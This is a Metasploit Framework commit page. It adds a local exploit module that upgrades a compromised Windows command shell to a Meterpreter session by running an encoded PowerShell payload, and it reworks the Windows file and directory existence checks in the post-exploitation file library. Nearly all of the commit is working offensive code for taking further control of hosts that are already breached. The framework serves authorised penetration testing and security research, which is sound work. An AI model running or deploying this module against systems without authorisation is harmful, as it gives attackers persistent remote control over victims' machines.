Skip to content

Commit bd23fcf

Browse files
committed
Land rapid7#2936 - Windows Command Shell Upgrade (Powershell)
2 parents f0fd2f0 + 08493f2 commit bd23fcf

File tree

2 files changed

+61
-16
lines changed

2 files changed

+61
-16
lines changed

lib/msf/core/post/file.rb

Lines changed: 12 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -41,13 +41,14 @@ def directory?(path)
4141
return stat.directory?
4242
else
4343
if session.platform =~ /win/
44-
# XXX
44+
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
4545
else
4646
f = session.shell_command_token("test -d '#{path}' && echo true")
47-
return false if f.nil? or f.empty?
48-
return false unless f =~ /true/
49-
return true
5047
end
48+
49+
return false if f.nil? or f.empty?
50+
return false unless f =~ /true/
51+
return true
5152
end
5253
end
5354

@@ -72,22 +73,17 @@ def file?(path)
7273
return stat.file?
7374
else
7475
if session.platform =~ /win/
75-
out = session.shell_command_token("type \"#{path}\"").to_s.strip
76-
# Possible error messages when opening a file, see:
77-
# http://technet.microsoft.com/en-us/library/cc956687.aspx
78-
if out =~ /^The system cannot find the path specified/
79-
return false
80-
elsif out =~ /^The filename, directory name, or volume label syntax is incorrect/
81-
return false
82-
else
83-
return true
76+
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
77+
if f =~ /true/
78+
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
8479
end
8580
else
8681
f = session.shell_command_token("test -f '#{path}' && echo true")
87-
return false if f.nil? or f.empty?
88-
return false unless f =~ /true/
89-
return true
9082
end
83+
84+
return false if f.nil? or f.empty?
85+
return false unless f =~ /true/
86+
return true
9187
end
9288
end
9389

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Local
9+
Rank = ExcellentRanking
10+
11+
include Exploit::Powershell
12+
include Post::File
13+
14+
def initialize(info={})
15+
super( update_info( info,
16+
'Name' => 'Windows Command Shell Upgrade (Powershell)',
17+
'Description' => %q{
18+
This module executes Powershell to upgrade a Windows Shell session
19+
to a full Meterpreter session.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => [
23+
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
24+
],
25+
'DefaultOptions' =>
26+
{
27+
'WfsDelay' => 10,
28+
},
29+
'DisclosureDate' => 'Jan 01 1999',
30+
'Platform' => [ 'win' ],
31+
'SessionTypes' => [ 'shell' ],
32+
'Targets' => [ [ 'Universal', {} ] ],
33+
'DefaultTarget' => 0
34+
))
35+
end
36+
37+
def exploit
38+
psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe"
39+
40+
if file? "%WINDIR%\\System32#{psh_path}"
41+
print_status("Executing powershell command line...")
42+
cmd_exec(cmd_psh_payload(payload.encoded))
43+
else
44+
fail_with(Exploit::Failure::NotVulnerable, "No powershell available.")
45+
end
46+
end
47+
48+
end
49+

0 commit comments

Comments
 (0)